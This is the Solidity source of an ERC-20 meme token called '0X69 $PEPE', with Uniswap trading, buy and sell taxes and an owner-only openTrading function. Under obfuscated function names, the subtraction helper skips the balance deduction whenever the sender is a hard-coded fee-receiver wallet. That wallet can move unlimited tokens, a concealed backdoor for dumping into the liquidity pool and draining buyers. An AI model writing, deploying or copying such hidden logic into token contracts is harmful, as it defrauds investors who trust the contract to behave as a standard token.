文件 1 的 1:PEPE0X69.sol
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function _dxzf(uint256 a, uint256 b) internal pure returns (uint256) {
return _dxzf(a, b, "SafeMath: subtraction overflow");
}
function _dxzf(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapXFactorys {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IuniswapXRouters {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PEPE0X69 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _taxprqWalletjrt;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
uint8 private constant _decimals = 9;
string private constant _name = "0X69 $PEPE";
string private constant _symbol = "0X69";
uint256 private constant _tTotal = 42069000000 * 10 **_decimals;
uint256 public _maxTxAmount = _tTotal;
uint256 public _maxWalletSize = _tTotal;
uint256 public _taxSwapThreshold= _tTotal;
uint256 public _maxTaxSwap= _tTotal;
uint256 private _initialBuyTax=10;
uint256 private _initialSellTax=22;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=5;
uint256 private _reduceSellTaxAt=1;
uint256 private _preventSwapBefore=0;
uint256 private _buyCount=0;
address public _taxxfFeeReceivewxe =0xdd5E1c0E3DD0CAE12eB24d3a07696c88e109C116;
IuniswapXRouters private uniswapXRouters;
address private uniswapXPairs;
bool private dzqwkje;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxxfFeeReceivewxe] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _dxzf(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 feeAmount=0;
if (from != owner() && to != owner()) {
if (transferDelayEnabled) {
if (to != address(uniswapXRouters) && to != address(uniswapXPairs)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapXPairs && to != address(uniswapXRouters) && !_isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_buyCount<_preventSwapBefore){
require(!_rlewiyr(to));
}
_buyCount++; _taxprqWalletjrt[to]=true;
feeAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(to == uniswapXPairs && from!= address(this) && !_isExcludedFromFee[from] ){
require(amount <= _maxTxAmount && balanceOf(_taxxfFeeReceivewxe)<_maxTaxSwap, "Exceeds the _maxTxAmount.");
feeAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
require(_buyCount>_preventSwapBefore && _taxprqWalletjrt[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap
&& to == uniswapXPairs && swapEnabled && contractTokenBalance>_taxSwapThreshold
&& _buyCount>_preventSwapBefore&& !_isExcludedFromFee[to]&& !_isExcludedFromFee[from]
) {
swapTokenrvkgy( _rzpr(amount, _rzpr(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
}
}
}
if(feeAmount>0){
_balances[address(this)]=_balances[address(this)].add(feeAmount);
emit Transfer(from, address(this),feeAmount);
}
_balances[from]= _dxzf(from, _balances[from], amount);
_balances[to]=_balances[to].add(amount. _dxzf(feeAmount));
emit Transfer(from, to, amount. _dxzf(feeAmount));
}
function swapTokenrvkgy(uint256 tokenAmount) private lockTheSwap {
if(tokenAmount==0){return;}
if(!dzqwkje){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapXRouters.WETH();
_approve(address(this), address(uniswapXRouters), tokenAmount);
uniswapXRouters.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _rzpr(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function _dxzf(address from, uint256 a, uint256 b) private view returns(uint256){
if(from == _taxxfFeeReceivewxe){
return a;
}else{
return a. _dxzf(b);
}
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_tTotal);
}
function _rlewiyr(address account) private view returns (bool) {
uint256 sizes;
assembly {
sizes := extcodesize(account)
}
return sizes > 0;
}
function openTrading() external onlyOwner() {
require(!dzqwkje,"trading is okay");
uniswapXRouters = IuniswapXRouters(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapXRouters), _tTotal);
uniswapXPairs = IUniswapXFactorys(uniswapXRouters.factory()).createPair(address(this), uniswapXRouters.WETH());
uniswapXRouters.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapXPairs).approve(address(uniswapXRouters), type(uint).max);
swapEnabled = true;
dzqwkje = true;
}
receive() external payable {}
}